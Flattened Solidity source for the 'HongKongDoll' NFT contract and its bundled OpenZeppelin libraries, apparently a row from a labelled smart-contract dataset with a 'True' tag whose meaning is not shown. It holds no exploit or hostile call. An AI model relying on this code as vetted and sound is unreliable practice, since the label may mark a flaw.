* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.8.0;
contract HongKongDollNFT is ERC721Enumerable, ReentrancyGuard, Ownable {
uint256 public PER_PRICE = 0.08 ether;
uint256 public MAX_SUPPLY = 2207;
constructor() ERC721("HongKongDoll", "HongKongDoll") Ownable() {}
function mint() public payable nonReentrant {
require(msg.value >= PER_PRICE, "invalid value");
uint256 latestId = totalSupply() + 1;
_safeMint(_msgSender(), latestId);
require(totalSupply() <= MAX_SUPPLY, "Max mint amount");
}
function tokenURI(uint256 tokenId)
public
pure
override
returns (string memory)
{
string memory output = string(
abi.encodePacked(
"https://gateway.pinata.cloud/ipfs/QmfXRh6VvuQYit5eGggshfrvNFTMhU1UhazKqfpxZ4CBrQ/",
Utils.toString(tokenId),
".jpg"
)
);
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "HongKongDoll Citizens',
'", "description": "Citizen NFT holders are citizens of HongKongDollDAO, granting governance, content incentive and early access to the gameverse.", "image": "',
output,
'","external_url": "https://twitter.com/HongKongDollDAO/"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
}
function withdraw(
address _to,
address _token,
uint256 _value
) public onlyOwner {
if (_token == address(0)) {
(bool success, ) = _to.call{value: _value}(new bytes(0));
require(success, "!safeTransferETH");
} else {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = _token.call(
abi.encodeWithSelector(0xa9059cbb, _to, _value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"!safeTransfer"
);
}
}
}
library Utils {
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)
)
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-08-16
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
